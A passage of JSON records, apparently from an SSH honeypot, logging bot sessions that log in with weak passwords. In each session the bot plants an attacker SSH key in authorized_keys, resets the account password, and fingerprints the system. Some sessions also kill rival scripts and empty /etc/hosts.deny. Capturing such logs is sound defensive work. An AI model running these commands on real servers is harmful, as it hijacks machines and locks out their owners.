-l"},{"seq":20,"at":"2026-08-27T13:10:00.874276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:10:01.202202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:10:01.888845+00:00","kind":"output","latency_ms":null,"data":"top - 13:10:01 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:10:02.217162+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:10:02.661540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:10:02.987161+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:10:03.789210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:10:04.117780+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:10:04.912127+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:10:05.239720+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:10:06.955060+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:10:07.282251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:10:08.331541+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"e5fce962-9da0-4f2e-821c-7189ba7b8c1c","name":"bronzed-vigilant-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":45808,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:36.969894+00:00","ended_at":"2026-08-27T13:08:38.478631+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:08:19.343455+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:19.659116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:23.515379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:23.790127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:24.106543+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:08:24.423436+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:08:24.739359+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:25.265150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:25.584550+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:26.690580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:27.011527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:28.298043+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:28.620075+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:29.311018+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:29.629734+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:29.914073+00:00","kind":"output","latency_ms":null,"data":" 13:08:29 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:30.231403+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:30.971165+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:31.292109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:31.769177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:32.085509+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:32.508483+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:32 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:32.830565+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:33.500396+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:33.816782+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:34.196525+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:34.516350+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:35.393588+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:08:35.710617+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:36.653998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:36.970715+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:38.389512+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"eff6efd8-4e18-42b1-a81a-2b11487826dd","name":"wry-sullen-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46524,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":734,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:34.534956+00:00","ended_at":"2026-08-27T13:08:35.347484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:08:13.957372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:14.687111+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:21.263742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:21.266116+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:21.993126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:11Osb7kxGwBC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:08:22.738216+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:08:23.468518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:23.470269+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:24.258283+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:24.894002+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:25.635435+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:26.148861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:26.880852+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:26.884149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:27.847343+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:27.847904+00:00","kind":"output","latency_ms":null,"data":" 13:08:27 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:28.573321+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:28.575102+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:29.307706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:29.308520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:30.052123+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:30.052670+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:30 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:31.019726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:31.020288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:31.753733+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:31.755348+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:32.480368+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:32.481051+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:08:33.215095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:33.794252+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:34.536433+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:35.108931+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@ssW0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"a51727bf-109c-4e8a-a6ec-da8fe12737a8","name":"creaky-brave-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42762,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:00.808131+00:00","ended_at":"2026-08-27T13:08:02.709755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T13:07:43.175487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:07:43.503229+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:07:47.321417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:07:47.703184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:07:48.032624+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:07:48.359957+00:00","kind":"input","latency_ms":null,"data":"echo \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:07:48.687568+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:07:49.182141+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:07:49.510229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:07:50.495740+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:07:50.826896+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:07:52.028812+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:07:52.358810+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:07:53.010406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:07:53.338931+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:07:54.042393+00:00","kind":"output","latency_ms":null,"data":" 13:07:54 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:07:54.369785+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:07:54.821827+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:07:55.149805+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:07:55.708970+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:07:56.038303+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:07:56.363403+00:00","kind":"output","latency_ms":null,"data":"top - 13:07:56 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:07:56.703202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:07:57.221512+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:07:57.555278+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:07:57.946135+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:07:58.262124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:07:58.843682+00:00","kind":"output","latency_ms":null,"data":"ardi"},{"seq":29,"at":"2026-08-27T13:07:59.170522+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:00.472717+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:00.808771+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:02.608720+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ardi","password":"ardi","method":"password","accepted":true,"tier":"other"}]} {"id":"e2827558-c0bf-403f-887a-ceed52b5ac6e","name":"ashen-autumn-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:37.211124+00:00","ended_at":"2026-08-27T13:06:39.140279+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:06:19.207082+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:06:19.503202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:06:23.072555+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:06:23.346762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:06:23.645565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pq79u7BaTzb8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:06:23.939319+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:06:24.234603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:06:25.092734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:06:25.389552+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:06:26.378418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:06:26.676570+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:06:27.884305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:06:28.181187+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:06:28.484416+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:06:28.777713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:06:29.390234+00:00","kind":"output","latency_ms":null,"data":" 13:06:29 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:06:29.685522+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:06:30.334433+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:06:30.632096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:06:31.441133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:06:31.737612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:06:32.433531+00:00","kind":"output","latency_ms":null,"data":"top - 13:06:32 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:06:32.735894+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:06:33.567136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:06:33.864413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:34.681691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:34.978831+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:35.282242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:06:35.578066+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:36.915603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:37.211827+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 